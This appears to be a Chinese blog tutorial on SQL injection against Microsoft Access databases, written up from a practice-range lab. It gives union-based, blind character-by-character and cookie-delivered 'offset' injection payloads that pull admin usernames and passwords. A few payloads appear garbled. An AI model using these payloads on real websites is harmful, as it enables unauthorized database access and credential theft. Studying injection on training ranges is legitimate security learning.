access数据库—— 偏移注入&移位溢注&逐字猜解

目录

前言

正文 

0x01 :access数据库介绍

 

0x02 :Access——union注入

1)猜表

2)猜字段(查数据)

0x02 Access——逐字猜解注入

1)猜表

2)猜字段

 

3)判断长度

4)查询数据

0x03:Access —— 偏移注入

第一步

​第二步

​第三步

文末


 

前言

我前面写的大部分都是基于MySQL数据库下的注入,然而在其他数据库也是可以使用的

本章章取材来自 墨者学院靶场

 

正文 

0x01 :access数据库介绍

这只是个简单的介绍,access里不存在库这个概念,所以是直接查表,然而表没有自带的,所以只能进行爆破

就是猜,全靠猜~~~

 

0x02 :Access——union注入

1)猜表

因为Access没有库,所以只能直接使用order by 来判断字段数

这里我判断后,字段为4。于是直接写了 payload

http://219.153.49.228:49151/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin

可能会问admin怎么知道的,其实就是猜的,也可以收集一些常用的表名,然后burp抓包进行爆破

一般user,admin 等等比较多

2)猜字段(查数据)

根据上面已经猜解出了admin表,然而这也是我们想要的

然后就是猜解字段,没错,字段也是要猜的~~~

字段常用的,user,admin,username,password,pwd,name,passwd

猜一猜,敲了猜到了是username,靶场总不会太难的。在实战中,就不一样了

?id=1 and 1=2 union select 1,username,3,4 from admin

但是这边我们有 2 个回显点,2和3.所以可以再3这边猜密码

经过一系列的猜解

?id=1 and 1=2 union select 1,username,passwd,4 from admin

最后密码为passwd

然后union注入就这样了。靶场简单,但是实战中就不一样了,能猜到表名就运气好了,能猜到字段名,运气就炸天了

 

0x02 Access——逐字猜解注入

1)猜表

这里涉及到了个新函数

exists():校验是否存在数据,存在则页面正常,不存在则页面报错

可以看看这里的一篇文章

这时候 我们构造payload

?id=1 and exists(select * from admin)

如果admin这个表存在的话,则返回正常页面

如果不存在的话,返回错误页面。通过查看下面两图就知道了

admin表存在

 

2)猜字段

猜字段名的话也就是按照SQL语句一样

select 字段 from 表

所以我们猜测字段为username(不要问我为什么,上面union注入已经弄了一遍了~)

?id=1 and exists(select username from admin)

这时候发现页面正常,这时候我们就要爆数据了

 

3)判断长度

这个其实跟盲注差不多手法(这里我突然想写个脚本了~)

首先判断第一条数据长度

?id=1 and (select top 1 len(username) from admin)=4	

这时候页面回显正常,当等于5的时候错误,说明为长度为4

 

4)查询数据

这时候就可以查询数据了

and (select top 1 asc(mid(username,1,1)) from admin)=109

top 1 就是取前 1 条数据

top   3就是取前3 条数据

mid(字段,截取第几位,1)

然后对照下ascii表,发现为m

然后猜解第二位,发现页面正常,队友ascii表。发现为o

?id=1 and (select top 1 asc(mid(username,2,1)) from admin)=111

于是这样依次下来,就得知 username中的字段为 moke,然后继续爆破

也就得出了密码

 

0x03:Access —— 偏移注入

接下来就开始进行偏移注入了

第一步


先判断下最简单的显错注入,结果被过滤了
那就进行偏移注入(表名爆破下就好了,这个是靶场,所以知道表名)
document.cookie=”id=”+escape(“171”)
看看页面是不是正常,结果显示正常


在and 1=2判断下是否报错


第二步


开始判断下回显点
document.cookie=”id=”+escape(“171 order by 10”)
结果发现10正常显示,11报错


第三步


因为这个是access数据库,所以忽略表名~~~~
document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)


直接看回显点,这里表名是必须知道了,不知道的话可以下载个常用表名字典
然后用burp跑包爆破
然后可以看到了回显点有2,3,7,8,9

结果发现这个171的不行……(尴尬)
略过前面,找那个产品中心的,id=105进行

然后发现105的有26个字段


再次进行偏移注入
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")


再从右开始,删除掉占位符,admin.来代替
`document.cookie=”id=”+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,admin.
 from admin”)`
发现页面回显正确


然后就一直移动
找到这个回显就可以保留,然后再admin.带入
document.cookie=”id=”+escape(“105 union select 1,2,3,4,8,9,11,12,13,admin.
,15 from admin”)
不会讲,就差不多这样


(联合查询要2边相等)

table_name.代替了这个表的所有字段 (如 admin. 表名.*)
输出点,有些藏在HTML源码中
偏移注入用于字段表名无法字段字段名情况
偏移找到一个注入点,并且注入点字段数越多越好

 

 

文末

偏移注入是之前写的,因为偏移注入太麻烦了,就直接复制了一下

实战中也是会遇到这种的偏移注入,我也是偶尔会遇到~~~~~

有空再发脚本,嘿嘿

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章